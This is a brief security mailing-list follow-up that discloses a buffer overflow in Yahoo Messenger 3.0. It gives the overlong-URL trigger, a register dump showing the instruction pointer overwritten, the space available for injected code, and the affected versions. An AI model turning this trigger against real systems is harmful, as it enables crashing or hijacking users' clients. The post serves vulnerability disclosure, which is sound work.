Yahoo Pager Update

[Blake Frantz <blake () mail mc net>]

YM update:

In my original post I stated a URL that was > 1024 was needed to crash YM,
this is incorrect.

I passed www. <479 "a"'s> .com, a total URL length of 487, (which plenty of
space to append
addition code : 800 Max) and YM crashes with:

eax=00000001 ebx=001b3715 ecx=0012fe88 edx=77e694a0 esi=0012f958
edi=00000328
eip=46464646 esp=0012e7e8 ebp=46464646 iopl=0         nv up ei pl zr na po
nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000
efl=00000246

and eip is overwritten.

I have notified yahoo and they responded with a generic reply from
messenger-help () yahoo-inc com.

Again, here is the module and OS info:

Yahoo Messenger 3,0,0,770
MyYahoo Module 2,0,0,348
Windows 2000 Professional 5.000.2195.
